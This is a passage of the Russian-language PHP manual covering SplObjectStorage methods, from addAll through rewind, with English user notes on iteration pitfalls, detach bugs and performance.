$SplObjectStorage_2->attach($object6);

/**
 * Merge SplObjectStorage
 *
 * @param how many SplObjectStorage params as you want
 * @return SplObjectStorage
 */
function mergeSplObjectStorage() {

    $buffer   = new SplObjectStorage();

    if( func_num_args() > 0  ) {
        $args = func_get_args();
        foreach ($args as $objectStorage) {
            foreach($objectStorage as $object) {
                if(is_object( $object ) ) {
                    $buffer->attach($object);
                }
            }
        }
    }
    else{
        return FALSE;
    }
    return $buffer;
}

$merge = mergeSplObjectStorage($SplObjectStorage_1, $SplObjectStorage_2);

?>
<?php
echo $merge->count();
?>
Will output :
6

<?php
$merge->rewind();
while($merge->valid()) {
    $object = $merge->current();
    var_dump($object);
    $merge->next();
}
?>
Will ouput :
object(stdClass)#2 (1) {
  ["attr"]=>
  string(5) "obj 1"
}
object(stdClass)#3 (1) {
  ["attr"]=>
  string(5) "obj 2"
}
object(stdClass)#4 (1) {
  ["attr"]=>
  string(5) "obj 3"
}
object(stdClass)#6 (1) {
  ["attr"]=>
  string(5) "obj 4"
}
object(stdClass)#7 (1) {
  ["attr"]=>
  string(5) "obj 5"
}
object(stdClass)#8 (1) {
  ["attr"]=>
  string(5) "obj 6"
}

My two cents.
Jan Walther 30-Jun-2011 06:57
I rewrote some scripts and changed object storage with arrays to SplObjectStorage. At some point I needed support of array_rand() but I did not find a function to return a random attached object of an SplObjectStorage object.

So here is my solution for random access to SplObjectStorage:

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage;
$s->attach($o1);
$s->attach($o2);

$random = rand(0,$s->count()-1);
$s->rewind();
for($i=0;$i<$random;$i++) {
  $s->next();
}
var_dump($s->current());
?>
randallgirard at hotmail dot com 14-Dec-2009 12:01
I have two things to note about SplObjectStorage:

#1: A reference to the object itself is stored (not just a hash to compare against the object) and it must be removed before the object is destroyed and the destructor is executed.

#2: SplObjectStorage::rewind() MUST be called to initiate the iterator and before SplObjectStorage::current() will return an object (and I think the only way to retrieve an object?) rather than automatically starting at the first element as I expected it to, like an array for example. This assumption is based on SplObjectStorage::current() returning NULL until SplObjectStorage::rewind() is called once the objects are contained. As a note, always use REWIND before iterating through or fetching objects.

<?php

class foo {
    public function __destruct() {
        print("--- DESTRUCTOR FIRED!!<br />\r\n");
    }
}

# Create object and storage
$bar = new foo();
$s = new SplObjectStorage();

# Rewind early just as a test
$s->rewind();

# attach the object
$s->attach($bar, array('test'));

# Unset the object; destructor does NOT fire
unset($bar);
print("Object has been unset<br />\r\n");

# First demonstrate that REWIND must be called to initialize the iterator
$obj = $s->current();
var_dump($obj);
print("- Note the NULL (from \$s->current())<br />\r\n");

# Initialize, and then detach the current (and only) object
$s->rewind();
$s->detach( $s->current() );

# The destructor should NOW execute

?>

Output:

Object has been unset
NULL - Note the NULL (from $s->current())
--- DESTRUCTOR FIRED!!


Добавляет все объекты из другого контейнера

  • « SplObjectStorage
  • SplObjectStorage::attach »
  • PHP Manual
  • SplObjectStorage
  • Добавляет все объекты из другого контейнера

SplObjectStorage::addAll

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::addAll — Добавляет все объекты из другого контейнера

Описание

public SplObjectStorage::addAll(SplObjectStorage $storage): int

Добавляет все пары объект-данные из другого контейнера в текущий.

Список параметров

storage

Контейнер объектов, из которого требуется импортировать данные.

Возвращаемые значения

Количество объектов в хранилище.

Примеры

Пример #1 Пример использования SplObjectStorage::addAll()

<?php
$o = new stdClass;
$a = new SplObjectStorage();
$a[$o] = "hello";

$b = new SplObjectStorage();
$b->addAll($a);
echo $b[$o]."\n";
?>

Результатом выполнения данного примера будет что-то подобное:

hello

Смотрите также

  • SplObjectStorage::removeAll() - Удаляет из текущего контейнера объекты, которые есть в другом контейнере

User Contributed Notes

There are no user contributed notes for this page.


Добавляет объект в контейнер

  • « SplObjectStorage::addAll
  • SplObjectStorage::contains »
  • PHP Manual
  • SplObjectStorage
  • Добавляет объект в контейнер

SplObjectStorage::attach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::attach — Добавляет объект в контейнер

Описание

public SplObjectStorage::attach(object $object, mixed $info = null): void

Добавляет объект object в контейнер и дополнительно может ассоциировать этот объект с какими-то данными.

Список параметров

object

Добавляемый объект object.

info

Данные, с которыми требуется ассоциировать объект object.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::attach()

<?php
$o1 = new stdClass;
$o2 = new stdClass;
$s = new SplObjectStorage();
$s->attach($o1); // то же, что и $s[$o1] = NULL;
$s->attach($o2, "hello"); // то же, что и $s[$o2] = "hello";

var_dump($s[$o1]);
var_dump($s[$o2]);

?>

Результатом выполнения данного примера будет что-то подобное:

NULL
string(5) "hello"

Смотрите также

  • SplObjectStorage::detach() - Удаляет объект object из контейнера
  • SplObjectStorage::offsetSet() - Ассоциирует данные с объектом в контейнере

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержит ли контейнер заданный объект

  • « SplObjectStorage::attach
  • SplObjectStorage::count »
  • PHP Manual
  • SplObjectStorage
  • Проверяет, содержит ли контейнер заданный объект

SplObjectStorage::contains

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::contains — Проверяет, содержит ли контейнер заданный объект

Описание

public SplObjectStorage::contains(object $object): bool

Проверяет, содержит ли контейнер заданный объект object.

Список параметров

object

Искомый объект object.

Возвращаемые значения

Возвращает true, если object находится в контейнере, и false в противном случае.

Примеры

Пример #1 Пример использования SplObjectStorage::contains()

<?php
$o1 = new stdClass;
$o2 = new stdClass;

$s = new SplObjectStorage();

$s[$o1] = "hello";
var_dump($s->contains($o1));
var_dump($s->contains($o2));
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

Смотрите также

  • SplObjectStorage::offsetExists() - Проверяет, существует ли объект в контейнере

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество объектов в контейнере

  • « SplObjectStorage::contains
  • SplObjectStorage::current »
  • PHP Manual
  • SplObjectStorage
  • Возвращает количество объектов в контейнере

SplObjectStorage::count

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::count — Возвращает количество объектов в контейнере

Описание

public SplObjectStorage::count(int $mode = COUNT_NORMAL): int

Производит подсчёт объектов в контейнере.

Список параметров

mode

Если для необязательного параметра mode задано значение COUNT_RECURSIVE (или 1), SplObjectStorage::count() будет рекурсивно подсчитывать объём хранилища.

Возвращаемые значения

Количество объектов в контейнере.

Примеры

Пример #1 Пример использования SplObjectStorage::count()

<?php
$s = new SplObjectStorage();
$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1);
$s->attach($o2);
$s->attach($o1);
var_dump($s->count());
var_dump(count($s));
?>

Результатом выполнения данного примера будет что-то подобное:

int(2)
int(2)

Смотрите также

  • SplObjectStorage::attach() - Добавляет объект в контейнер
  • SplObjectStorage::detach() - Удаляет объект object из контейнера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий объект

  • « SplObjectStorage::count
  • SplObjectStorage::detach »
  • PHP Manual
  • SplObjectStorage
  • Возвращает текущий объект

SplObjectStorage::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::current — Возвращает текущий объект

Описание

public SplObjectStorage::current(): object

Возвращает текущий объект.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект (object) на который указывает итератор контейнера.

Список изменений

Версия | Описание
8.1.0 | Метод SplObjectStorage::current() теперь выбрасывает исключение Error, если текущая позиция недопустима. Ранее вместо этого возвращалось значение false.

Примеры

Пример #1 Пример использования SplObjectStorage::current()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // аналогично current($s)
$data = $s->getInfo();

var_dump($object);
var_dump($data);
$s->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

Смотрите также

  • SplObjectStorage::rewind() - Переводит итератор на первый элемент контейнера
  • SplObjectStorage::key() - Возвращает индекс текущего положения итератора
  • SplObjectStorage::next() - Переход к следующему объекту
  • SplObjectStorage::valid() - Определяет, допустимо ли текущее значение итератора
  • SplObjectStorage::getInfo() - Возвращает данные, ассоциированные с текущим объектом

User Contributed Notes

There are no user contributed notes for this page.


Удаляет объект object из контейнера

  • « SplObjectStorage::current
  • SplObjectStorage::getHash »
  • PHP Manual
  • SplObjectStorage
  • Удаляет объект object из контейнера

SplObjectStorage::detach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::detach — Удаляет объект object из контейнера

Описание

public SplObjectStorage::detach(object $object): void

Удаляет объект object из контейнера.

Список параметров

object

Удаляемый объект object.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::detach()

<?php
$o = new stdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($o);
var_dump(count($s));
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)
int(0)

Смотрите также

  • SplObjectStorage::attach() - Добавляет объект в контейнер
  • SplObjectStorage::removeAll() - Удаляет из текущего контейнера объекты, которые есть в другом контейнере

User Contributed Notes

nawa 17-Dec-2022 09:56
There was problematic case when detaching object inside loop, because SplObjectStorage need to call next() before detach()

Example using foreach :
<?php
/**
 * spl object storage bugs when looping
 * @see https://bugs.php.net/bug.php?id=65629
 */
$firstStorage = new SplObjectStorage();
$secondStorage = new SplObjectStorage();
// temporary storage
$temporaryStorage = new SplObjectStorage();
// range 0 - 9
$range = range(0, 9);

foreach ($range as $id) {
    $object = new stdClass();
    $object->id = $id;
    $firstStorage->attach($object);
    $secondStorage->attach($object);
}

// direct detach inside loop
foreach ($firstStorage as $storage) {
    // on common array it will detach all even in loop
    // but object storage still remain 1 object
    if ($storage->id < 5) {
        $firstStorage->detach($storage);
    }
}

// collect storage into temporary splObjectStorage
foreach ($secondStorage as $storage) {
    // collect into temporary storage
    if ($storage->id < 5) {
        $temporaryStorage->attach($storage);
    }
}
// removeAll by temporary Storage
$secondStorage->removeAll($temporaryStorage);

var_dump(count($firstStorage)); // int(6)
var_dump(count($secondStorage)); // int(5)
?>

Example using while :
<?php
$firstStorage = new SplObjectStorage();
$secondStorage = new SplObjectStorage();
// temporary storage
$temporaryStorage = new SplObjectStorage();
// range 0 - 9
$range = range(0, 9);

foreach ($range as $id) {
    $object = new stdClass();
    $object->id = $id;
    $firstStorage->attach($object);
    $secondStorage->attach($object);
}

$firstStorage->rewind();
while ($firstStorage->valid() && ($current = $firstStorage->current())) {
    if ($current->id < 5) {
        $firstStorage->detach($current);
    }
    // don't call next after detach
    $firstStorage->next();
}

$secondStorage->rewind();
while ($secondStorage->valid() && ($current = $secondStorage->current())) {
    // call next behavior before detach
    $secondStorage->next();
    if ($current->id < 5) {
        $secondStorage->detach($current);
    }
}

var_dump(count($firstStorage)); // int(6)
var_dump(count($secondStorage)); // int(5)
?>
Hayley Watson 11-Dec-2017 09:21
No complaints from SplObjectStorage if you try to detach an object that isn't in the collection; it's a no-op.

<?php

$o = new StdClass;
$t = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($t); // Didn't attach this one.
var_dump(count($s));

?>
alan dot bem at gmail dot com 07-Sep-2013 07:55
SplObjectSotage::detach() has a bug - it rewinds internal array pointer.
Remember that - when looping over the storage - as it has no workaround.

https://bugs.php.net/bug.php?id=65629&edit=2
r dot wilczek at web-appz dot de 30-Apr-2010 01:18
Detaching the current entry from the storage prevents SplObjectStorage::next() to operate.

Example as a PHPUnit-test:

<?php
public function testDetachingCurrentPreventsNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $storage->detach($storage->current());
        $storage->next();
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will fail, for the iteration will never reach the second stdClass.
SplObjectStorage::next() obviously relies on the current element to be valid.

If you want to detach objects during iterations, you should dereference objects, before you call next() and detach the reference after next():

<?php
public function testDetachingReferenceAfterNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $object = $storage->current();
        $storage->next();
        $storage->detach($object);
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will pass.


Вычисляет уникальный идентификатор для объектов контейнера

  • « SplObjectStorage::detach
  • SplObjectStorage::getInfo »
  • PHP Manual
  • SplObjectStorage
  • Вычисляет уникальный идентификатор для объектов контейнера

SplObjectStorage::getHash

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplObjectStorage::getHash — Вычисляет уникальный идентификатор для объектов контейнера

Описание

public SplObjectStorage::getHash(object $object): string

Метод вычисляет уникальный идентификатор для объектов, добавляемых в контейнер SplObjectStorage.

Реализация SplObjectStorage возвращает то же значение, что и функция spl_object_hash().

В одном контейнере никогда не появится двух объектов с одинаковыми идентификаторами. Таким образом, с помощью контейнера можно реализовать множество (коллекцию значений, каждое из которых представлено в единственном экземпляре), в котором уникальность объектов будет определяться этим идентификатором.

Список параметров

object

Объект, чей идентификатор требуется вычислить.

Возвращаемые значения

Строка string с результатом вычисления.

Ошибки

Метод выбрасывает исключение RuntimeException, когда тип возвращаемого значения не является строкой (string).

Примеры

Пример #1 Пример использования SplObjectStorage::getHash()

<?php
class OneSpecimenPerClassStorage extends SplObjectStorage {
public function getHash($o) {
return get_class($o);
}
}
class A {}

$s = new OneSpecimenPerClassStorage;
$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new A;

$s[$o1] = 1;
//$o2 предполагается равным $o1, соответственно значение замещается
$s[$o2] = 2;
$s[$o3] = 3;

//предполагаем, что следующие объекты эквивалентны приведённым выше
//таким образом, их можно использовать для извлечения данных из контейнера
$p1 = new stdClass;
$p2 = new A;
echo $s[$p1], "\n";
echo $s[$p2], "\n";
?>

Результатом выполнения данного примера будет что-то подобное:

2
3

Смотрите также

  • spl_object_hash() - Возвращает хеш-идентификатор для объекта

User Contributed Notes

aron dot duby at gmail dot com 17-Dec-2012 07:09
This also appears to be the function which gets used within the contains() function, so if all the objects you are storing already have a unique id you can overwrite this function with your own class.

<?php
class UserStorage extends SPLObjectStorage{
     public function getHash($obj){
          return $obj->id;
     }
}

$us = new UserStorage();
$user1 = new User(1);
$user2 = new User(2);

$us->attach($user1);
$us->attach($user2);

$me = new User(2);

// the following would normally fail since they are two separate objects
// but it works now with our extended getHash()
$us->contains($me);

?>


Возвращает данные, ассоциированные с текущим объектом

  • « SplObjectStorage::getHash
  • SplObjectStorage::key »
  • PHP Manual
  • SplObjectStorage
  • Возвращает данные, ассоциированные с текущим объектом

SplObjectStorage::getInfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::getInfo — Возвращает данные, ассоциированные с текущим объектом

Описание

public SplObjectStorage::getInfo(): mixed

Возвращает данные, ассоциированные с объектом на который указывает итератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Данные, ассоциированные с объектом.

Примеры

Пример #1 Пример использования SplObjectStorage::getInfo()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // аналогично current($s)
$data = $s->getInfo();

var_dump($object);
var_dump($data);
$s->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

Смотрите также

  • SplObjectStorage::current() - Возвращает текущий объект
  • SplObjectStorage::rewind() - Переводит итератор на первый элемент контейнера
  • SplObjectStorage::key() - Возвращает индекс текущего положения итератора
  • SplObjectStorage::next() - Переход к следующему объекту
  • SplObjectStorage::valid() - Определяет, допустимо ли текущее значение итератора
  • SplObjectStorage::setInfo() - Ассоциирует данные с текущим объектом контейнера

User Contributed Notes

Ye Wang 27-Sep-2010 11:53
This method, SplObjectStorage::getInfo() does NOT exist on PHP 5.2.13.

However, PHP 5.3.2 and above does have it. To find out yourself, use this snippet.

$> php -r "print_r(get_class_methods(new SplObjectStorage()));"

Results for PHP 5.2.13
====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => count
    [4] => rewind
    [5] => valid
    [6] => key
    [7] => current
    [8] => next
    [9] => unserialize
    [10] => serialize
)

Results for PHP 5.3.2
=====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => addAll
    [4] => removeAll
    [5] => getInfo
    [6] => setInfo
    [7] => count
    [8] => rewind
    [9] => valid
    [10] => key
    [11] => current
    [12] => next
    [13] => unserialize
    [14] => serialize
    [15] => offsetExists
    [16] => offsetSet
    [17] => offsetUnset
    [18] => offsetGet
)


Возвращает индекс текущего положения итератора

  • « SplObjectStorage::getInfo
  • SplObjectStorage::next »
  • PHP Manual
  • SplObjectStorage
  • Возвращает индекс текущего положения итератора

SplObjectStorage::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::key — Возвращает индекс текущего положения итератора

Описание

public SplObjectStorage::key(): int

Возвращает индекс текущего положения итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Индекс текущего положения итератора.

Примеры

Пример #1 Пример использования SplObjectStorage::key()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // аналогично current($s)

var_dump($index);
var_dump($object);
$s->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

Смотрите также

  • SplObjectStorage::rewind() - Переводит итератор на первый элемент контейнера
  • SplObjectStorage::current() - Возвращает текущий объект
  • SplObjectStorage::next() - Переход к следующему объекту
  • SplObjectStorage::valid() - Определяет, допустимо ли текущее значение итератора

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему объекту

  • « SplObjectStorage::key
  • SplObjectStorage::offsetExists »
  • PHP Manual
  • SplObjectStorage
  • Переход к следующему объекту

SplObjectStorage::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::next — Переход к следующему объекту

Описание

public SplObjectStorage::next(): void

Перемещает итератор на следующий объект object в контейнере.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::next()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // аналогично current($s)

var_dump($index);
var_dump($object);
$s->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

Смотрите также

  • SPLObjectStorage::rewind() - Переводит итератор на первый элемент контейнера

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли объект в контейнере

  • « SplObjectStorage::next
  • SplObjectStorage::offsetGet »
  • PHP Manual
  • SplObjectStorage
  • Проверяет, существует ли объект в контейнере

SplObjectStorage::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetExists — Проверяет, существует ли объект в контейнере

Описание

public SplObjectStorage::offsetExists(object $object): bool

Проверяет, существует ли объект object в контейнере.

Замечание:

SplObjectStorage::offsetExists() является псевдонимом метода SplObjectStorage::contains().

Список параметров

object

Искомый объект object.

Возвращаемые значения

Возвращает true, если объект object есть в контейнере, и false в противном случае.

Примеры

Пример #1 Пример использования SplObjectStorage::offsetExists()

<?php
$s = new SplObjectStorage;
$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1);

var_dump($s->offsetExists($o1)); // аналогично isset($s[$o1])
var_dump($s->offsetExists($o2)); // аналогично isset($s[$o2])
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(false)

Смотрите также

  • SplObjectStorage::offsetSet() - Ассоциирует данные с объектом в контейнере
  • SplObjectStorage::offsetGet() - Возвращает данные, ассоциированные с объектом object
  • SplObjectStorage::offsetUnset() - Удаляет объект из контейнера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает данные, ассоциированные с объектом object

  • « SplObjectStorage::offsetExists
  • SplObjectStorage::offsetSet »
  • PHP Manual
  • SplObjectStorage
  • Возвращает данные, ассоциированные с объектом object

SplObjectStorage::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetGet — Возвращает данные, ассоциированные с объектом object

Описание

public SplObjectStorage::offsetGet(object $object): mixed

Возвращает данные, ассоциированные с объектом object.

Список параметров

object

Искомый объект object.

Возвращаемые значения

Данные, ассоциированные с объектом object.

Ошибки

Выбрасывает исключение UnexpectedValueException, если объект object не удалось найти.

Примеры

Пример #1 Пример использования SplObjectStorage::offsetGet()

<?php
$s = new SplObjectStorage;

$o1 = new stdClass;
$o2 = new stdClass;

$s[$o1] = "hello";
$s->attach($o2);

var_dump($s->offsetGet($o1)); // $s[$o1]
var_dump($s->offsetGet($o2)); // $s[$o2]
?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "hello"
NULL

Смотрите также

  • SplObjectStorage::offsetSet() - Ассоциирует данные с объектом в контейнере
  • SplObjectStorage::offsetExists() - Проверяет, существует ли объект в контейнере
  • SplObjectStorage::offsetUnset() - Удаляет объект из контейнера

User Contributed Notes

acgrid 03-Jun-2016 06:58
The performance of SplObjectStorage in PHP7.0.7 has boosted a lot.

SplObjectStorage
double(1.3110690116882)
[object_hash => value]
double(2.4147419929504)
kontrollfreak+php at gmail dot com 10-Jul-2015 01:47
SplObjectStorage::offsetGet() can become EXTREMELY slow depending on the associated data (PHP 5.6).

<?php

// SplObjectStorage
$object = new stdClass;
$test = new SplObjectStorage;
$test->attach($object, str_repeat("\0", 1024*1024));
$start = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    $test->offsetGet($object);
}
var_dump(microtime(true) - $start); // 76 seconds!

// Array + spl_object_hash()
$object = new stdClass;
$test = [];
$test[spl_object_hash($object)] =  str_repeat("\0", 1024*1024);
$start = microtime(true);
for ($i = 0; $i < 1000000; $i++) {
    $temp = $test[spl_object_hash($object)];
}
var_dump(microtime(true) - $start); // 0.3 seconds


Ассоциирует данные с объектом в контейнере

  • « SplObjectStorage::offsetGet
  • SplObjectStorage::offsetUnset »
  • PHP Manual
  • SplObjectStorage
  • Ассоциирует данные с объектом в контейнере

SplObjectStorage::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetSet — Ассоциирует данные с объектом в контейнере

Описание

public SplObjectStorage::offsetSet(object $object, mixed $info = null): void

Ассоциирует данные с объектом object в контейнере.

Замечание:

SplObjectStorage::offsetSet() является псевдонимом метода SplObjectStorage::attach().

Список параметров

object

Объект object с которым требуется связать данные.

info

Данные, которые требуется связать с объектом object.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::offsetSet()

<?php
$s = new SplObjectStorage;

$o1 = new stdClass;

$s->offsetSet($o1, "hello"); // $s[$o1] = "hello";

var_dump($s[$o1]);
?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "hello"

Смотрите также

  • SplObjectStorage::attach() - Добавляет объект в контейнер
  • SplObjectStorage::offsetGet() - Возвращает данные, ассоциированные с объектом object
  • SplObjectStorage::offsetExists() - Проверяет, существует ли объект в контейнере
  • SplObjectStorage::offsetUnset() - Удаляет объект из контейнера

User Contributed Notes

aderh 05-Jul-2023 03:48
Although `offsetSet` is supposed to be an alias to `attach`, real-world results do not indicate that. When extending the SplObjectStorage class, it's expected that a modification to `attach` would also affect `offsetSet`. However, it seems they need to both be extended. Consider the results below...

<?php

declare(strict_types=1);

class CustomSplObjectStorage extends SplObjectStorage
{
    public function offsetSet(mixed $object, mixed $info = null): void
    {
        print("offsetSet called\n");
        parent::offsetSet($object, $info);
    }

    public function attach(mixed $object, mixed $info = null): void
    {
        print("attach called\n");
        parent::attach($object, $info);
    }
}

$a = new CustomSplObjectStorage();
$a[new stdClass()] = 'ok';
$a->attach(new stdClass(), 'ok');
?>

This prints:
```
offsetSet called
attach called
```

While we would expect...

```
offsetSet called
attach called
attach called
```

... if `offsetSet` was a true alias of `attach`. I'm not sure if this is intentional or not.


Удаляет объект из контейнера

  • « SplObjectStorage::offsetSet
  • SplObjectStorage::removeAll »
  • PHP Manual
  • SplObjectStorage
  • Удаляет объект из контейнера

SplObjectStorage::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetUnset — Удаляет объект из контейнера

Описание

public SplObjectStorage::offsetUnset(object $object): void

Удаляет объект object из контейнера.

Замечание:

SplObjectStorage::offsetUnset() является псевдонимом метода SplObjectStorage::detach().

Список параметров

object

Удаляемый объект object.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::offsetUnset()

<?php
$o = new stdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->offsetUnset($o); // аналогично unset($s[$o])
var_dump(count($s));
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)
int(0)

Смотрите также

  • SplObjectStorage::offsetGet() - Возвращает данные, ассоциированные с объектом object
  • SplObjectStorage::offsetSet() - Ассоциирует данные с объектом в контейнере
  • SplObjectStorage::offsetExists() - Проверяет, существует ли объект в контейнере

User Contributed Notes

There are no user contributed notes for this page.


Удаляет из текущего контейнера объекты, которые есть в другом контейнере

  • « SplObjectStorage::offsetUnset
  • SplObjectStorage::removeAllExcept »
  • PHP Manual
  • SplObjectStorage
  • Удаляет из текущего контейнера объекты, которые есть в другом контейнере

SplObjectStorage::removeAll

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::removeAll — Удаляет из текущего контейнера объекты, которые есть в другом контейнере

Описание

public SplObjectStorage::removeAll(SplObjectStorage $storage): int

Удаляет из текущего контейнера объекты, которые есть в другом контейнере.

Список параметров

storage

Контейнер, содержащий элементы, которые требуется удалить.

Возвращаемые значения

Возвращает количество оставшихся объектов.

Примеры

Пример #1 Пример использования SplObjectStorage::removeAll()

<?php
$o1 = new stdClass;
$o2 = new stdClass;
$a = new SplObjectStorage();
$a[$o1] = "foo";

$b = new SplObjectStorage();
$b[$o1] = "bar";
$b[$o2] = "gee";

var_dump(count($b));
$b->removeAll($a);
var_dump(count($b));
?>

Результатом выполнения данного примера будет что-то подобное:

int(2)
int(1)

Смотрите также

  • SplObjectStorage::addAll() - Добавляет все объекты из другого контейнера

User Contributed Notes

rafal dot wrzeszcz at wrzasq dot pl 22-May-2013 10:29
You can call:

$storage->removeAll($storage);

To remove all elements.


Удаляет из текущего контейнера все объекты, которых нет в другом контейнере

  • « SplObjectStorage::removeAll
  • SplObjectStorage::rewind »
  • PHP Manual
  • SplObjectStorage
  • Удаляет из текущего контейнера все объекты, которых нет в другом контейнере

SplObjectStorage::removeAllExcept

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

SplObjectStorage::removeAllExcept — Удаляет из текущего контейнера все объекты, которых нет в другом контейнере

Описание

public SplObjectStorage::removeAllExcept(SplObjectStorage $storage): int

Удаляет из текущего контейнера все объекты, которых нет в другом контейнере.

Список параметров

storage

Контейнер, содержащий элементы, которые должны остаться в текущем контейнере.

Возвращаемые значения

Возвращает количество оставшихся объектов.

Примеры

Пример #1 Пример использования SplObjectStorage::removeAllExcept()

<?php
$a = (object) 'a';
$b = (object) 'b';
$c = (object) 'c';

$foo = new SplObjectStorage;
$foo->attach($a);
$foo->attach($b);

$bar = new SplObjectStorage;
$bar->attach($b);
$bar->attach($c);

$foo->removeAllExcept($bar);
var_dump($foo->contains($a));
var_dump($foo->contains($b));
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

hizer at hizercache dot com 06-Feb-2016 03:56
The example Kirk provided is not the best option, there's a method "removeAll" that you can pass the SplObjectStore itself, and as the name says, remove all stored objects.
kirk at wa dot net dot ua 21-Jun-2011 02:12
You may remove all elements by passing empty SplObjectStorage

$splStorage->removeAllExcept(new SplObjectStorage());


Переводит итератор на первый элемент контейнера

  • « SplObjectStorage::removeAllExcept
  • SplObjectStorage::serialize »
  • PHP Manual
  • SplObjectStorage
  • Переводит итератор на первый элемент контейнера

SplObjectStorage::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::rewind — Переводит итератор на первый элемент контейнера

Описание

public SplObjectStorage::rewind(): void

Переводит итератор на первый элемент контейнера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования SplObjectStorage::rewind()

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // аналогично current($s)
$data = $s->getInfo();

var_dump($object);
var_dump($data);
$s->next();
}
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)
int(0)

Смотрите также

  • SplObjectStorage::next() - Переход к следующему объекту

User Contributed Notes

There are no user contributed notes for this page.


Сериализует контейнер

  • « SplObjectStorage::rewind
  • SplObjectStorage::setInfo »
  • PHP Manual
